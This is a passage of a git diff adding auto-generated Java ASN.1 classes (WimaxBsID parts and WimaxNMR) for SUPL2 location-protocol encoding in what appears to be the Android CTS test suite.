+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bsID_MSBType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bsID_LSBType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bsID_LSBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bsID_LSBType() {
+ super();
+ setMinSize(24);
+setMaxSize(24);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bsID_LSBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bsID_LSBType != null) {
+ return ImmutableList.of(TAG_bsID_LSBType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bsID_LSBType from encoded stream.
+ */
+ public static bsID_LSBType fromPerUnaligned(byte[] encodedBytes) {
+ bsID_LSBType result = new bsID_LSBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bsID_LSBType from encoded stream.
+ */
+ public static bsID_LSBType fromPerAligned(byte[] encodedBytes) {
+ bsID_LSBType result = new bsID_LSBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bsID_LSBType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxBsID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java
new file mode 100755
index 0000000..e5b6ba6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java
@@ -0,0 +1,1272 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WimaxNMR extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WimaxNMR
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxNMR() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxNMR;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxNMR != null) {
+ return ImmutableList.of(TAG_WimaxNMR);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxNMR from encoded stream.
+ */
+ public static WimaxNMR fromPerUnaligned(byte[] encodedBytes) {
+ WimaxNMR result = new WimaxNMR();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxNMR from encoded stream.
+ */
+ public static WimaxNMR fromPerAligned(byte[] encodedBytes) {
+ WimaxNMR result = new WimaxNMR();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WimaxBsID wimaxBsID_;
+ public WimaxBsID getWimaxBsID() {
+ return wimaxBsID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxBsID
+ */
+ public void setWimaxBsID(Asn1Object value) {
+ this.wimaxBsID_ = (WimaxBsID) value;
+ }
+ public WimaxBsID setWimaxBsIDToNewInstance() {
+ wimaxBsID_ = new WimaxBsID();
+ return wimaxBsID_;
+ }
+
+ private WimaxNMR.relDelayType relDelay_;
+ public WimaxNMR.relDelayType getRelDelay() {
+ return relDelay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.relDelayType
+ */
+ public void setRelDelay(Asn1Object value) {
+ this.relDelay_ = (WimaxNMR.relDelayType) value;
+ }
+ public WimaxNMR.relDelayType setRelDelayToNewInstance() {
+ relDelay_ = new WimaxNMR.relDelayType();
+ return relDelay_;
+ }
+
+ private WimaxNMR.relDelaystdType relDelaystd_;
+ public WimaxNMR.relDelaystdType getRelDelaystd() {
+ return relDelaystd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.relDelaystdType
+ */
+ public void setRelDelaystd(Asn1Object value) {
+ this.relDelaystd_ = (WimaxNMR.relDelaystdType) value;
+ }
+ public WimaxNMR.relDelaystdType setRelDelaystdToNewInstance() {
+ relDelaystd_ = new WimaxNMR.relDelaystdType();
+ return relDelaystd_;
+ }
+
+ private WimaxNMR.rSSIType rSSI_;
+ public WimaxNMR.rSSIType getRSSI() {
+ return rSSI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.rSSIType
+ */
+ public void setRSSI(Asn1Object value) {
+ this.rSSI_ = (WimaxNMR.rSSIType) value;
+ }
+ public WimaxNMR.rSSIType setRSSIToNewInstance() {
+ rSSI_ = new WimaxNMR.rSSIType();
+ return rSSI_;
+ }
+
+ private WimaxNMR.rSSIstdType rSSIstd_;
+ public WimaxNMR.rSSIstdType getRSSIstd() {
+ return rSSIstd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.rSSIstdType
+ */
+ public void setRSSIstd(Asn1Object value) {
+ this.rSSIstd_ = (WimaxNMR.rSSIstdType) value;
+ }
+ public WimaxNMR.rSSIstdType setRSSIstdToNewInstance() {
+ rSSIstd_ = new WimaxNMR.rSSIstdType();
+ return rSSIstd_;
+ }
+
+ private WimaxNMR.bSTxPowerType bSTxPower_;
+ public WimaxNMR.bSTxPowerType getBSTxPower() {
+ return bSTxPower_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.bSTxPowerType
+ */
+ public void setBSTxPower(Asn1Object value) {
+ this.bSTxPower_ = (WimaxNMR.bSTxPowerType) value;
+ }
+ public WimaxNMR.bSTxPowerType setBSTxPowerToNewInstance() {
+ bSTxPower_ = new WimaxNMR.bSTxPowerType();
+ return bSTxPower_;
+ }
+
+ private WimaxNMR.cINRType cINR_;
+ public WimaxNMR.cINRType getCINR() {
+ return cINR_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.cINRType
+ */
+ public void setCINR(Asn1Object value) {
+ this.cINR_ = (WimaxNMR.cINRType) value;
+ }
+ public WimaxNMR.cINRType setCINRToNewInstance() {
+ cINR_ = new WimaxNMR.cINRType();
+ return cINR_;
+ }
+
+ private WimaxNMR.cINRstdType cINRstd_;
+ public WimaxNMR.cINRstdType getCINRstd() {
+ return cINRstd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxNMR.cINRstdType
+ */
+ public void setCINRstd(Asn1Object value) {
+ this.cINRstd_ = (WimaxNMR.cINRstdType) value;
+ }
+ public WimaxNMR.cINRstdType setCINRstdToNewInstance() {
+ cINRstd_ = new WimaxNMR.cINRstdType();
+ return cINRstd_;
+ }
+
+ private ReportedLocation bSLocation_;
+ public ReportedLocation getBSLocation() {
+ return bSLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportedLocation
+ */
+ public void setBSLocation(Asn1Object value) {
+ this.bSLocation_ = (ReportedLocation) value;
+ }
+ public ReportedLocation setBSLocationToNewInstance() {
+ bSLocation_ = new ReportedLocation();
+ return bSLocation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getWimaxBsID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWimaxBsID();
+ }
+
+ @Override public void setToNewInstance() {
+ setWimaxBsIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxBsID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wimaxBsID : "
+ + getWimaxBsID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelDelay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelDelay();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelDelayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.relDelayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relDelay : "
+ + getRelDelay().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRelDelaystd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRelDelaystd();
+ }
+
+ @Override public void setToNewInstance() {
+ setRelDelaystdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.relDelaystdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "relDelaystd : "
+ + getRelDelaystd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRSSI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRSSI();
+ }
+
+ @Override public void setToNewInstance() {
+ setRSSIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.rSSIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rSSI : "
+ + getRSSI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRSSIstd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRSSIstd();
+ }
+
+ @Override public void setToNewInstance() {
+ setRSSIstdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.rSSIstdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rSSIstd : "
+ + getRSSIstd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getBSTxPower() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBSTxPower();
+ }
+
+ @Override public void setToNewInstance() {
+ setBSTxPowerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.bSTxPowerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bSTxPower : "
+ + getBSTxPower().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCINR() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCINR();
+ }
+
+ @Override public void setToNewInstance() {
+ setCINRToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.cINRType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cINR : "
+ + getCINR().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getCINRstd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCINRstd();
+ }
+
+ @Override public void setToNewInstance() {
+ setCINRstdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxNMR.cINRstdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cINRstd : "
+ + getCINRstd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getBSLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBSLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setBSLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportedLocation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bSLocation : "
+ + getBSLocation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class relDelayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_relDelayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public relDelayType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_relDelayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_relDelayType != null) {
+ return ImmutableList.of(TAG_relDelayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new relDelayType from encoded stream.
+ */
+ public static relDelayType fromPerUnaligned(byte[] encodedBytes) {
+ relDelayType result = new relDelayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new relDelayType from encoded stream.
+ */
+ public static relDelayType fromPerAligned(byte[] encodedBytes) {
+ relDelayType result = new relDelayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "relDelayType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class relDelaystdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_relDelaystdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public relDelaystdType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_relDelaystdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_relDelaystdType != null) {
+ return ImmutableList.of(TAG_relDelaystdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new relDelaystdType from encoded stream.
+ */
+ public static relDelaystdType fromPerUnaligned(byte[] encodedBytes) {
+ relDelaystdType result = new relDelaystdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new relDelaystdType from encoded stream.
+ */
+ public static relDelaystdType fromPerAligned(byte[] encodedBytes) {
+ relDelaystdType result = new relDelaystdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "relDelaystdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rSSIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rSSIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rSSIType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rSSIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rSSIType != null) {
+ return ImmutableList.of(TAG_rSSIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rSSIType from encoded stream.
+ */
+ public static rSSIType fromPerUnaligned(byte[] encodedBytes) {
+ rSSIType result = new rSSIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rSSIType from encoded stream.
+ */
+ public static rSSIType fromPerAligned(byte[] encodedBytes) {
+ rSSIType result = new rSSIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rSSIType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rSSIstdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rSSIstdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rSSIstdType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rSSIstdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rSSIstdType != null) {
+ return ImmutableList.of(TAG_rSSIstdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rSSIstdType from encoded stream.
+ */
+ public static rSSIstdType fromPerUnaligned(byte[] encodedBytes) {
+ rSSIstdType result = new rSSIstdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rSSIstdType from encoded stream.
+ */
+ public static rSSIstdType fromPerAligned(byte[] encodedBytes) {
+ rSSIstdType result = new rSSIstdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rSSIstdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bSTxPowerType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bSTxPowerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bSTxPowerType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bSTxPowerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bSTxPowerType != null) {
+ return ImmutableList.of(TAG_bSTxPowerType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bSTxPowerType from encoded stream.
+ */
+ public static bSTxPowerType fromPerUnaligned(byte[] encodedBytes) {
+ bSTxPowerType result = new bSTxPowerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bSTxPowerType from encoded stream.
+ */
+ public static bSTxPowerType fromPerAligned(byte[] encodedBytes) {
+ bSTxPowerType result = new bSTxPowerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bSTxPowerType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cINRType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cINRType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cINRType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cINRType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cINRType != null) {
+ return ImmutableList.of(TAG_cINRType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cINRType from encoded stream.
+ */
+ public static cINRType fromPerUnaligned(byte[] encodedBytes) {
+ cINRType result = new cINRType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cINRType from encoded stream.
+ */
+ public static cINRType fromPerAligned(byte[] encodedBytes) {
+ cINRType result = new cINRType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cINRType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cINRstdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cINRstdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cINRstdType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cINRstdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cINRstdType != null) {
+ return ImmutableList.of(TAG_cINRstdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cINRstdType from encoded stream.
+ */
+ public static cINRstdType fromPerUnaligned(byte[] encodedBytes) {
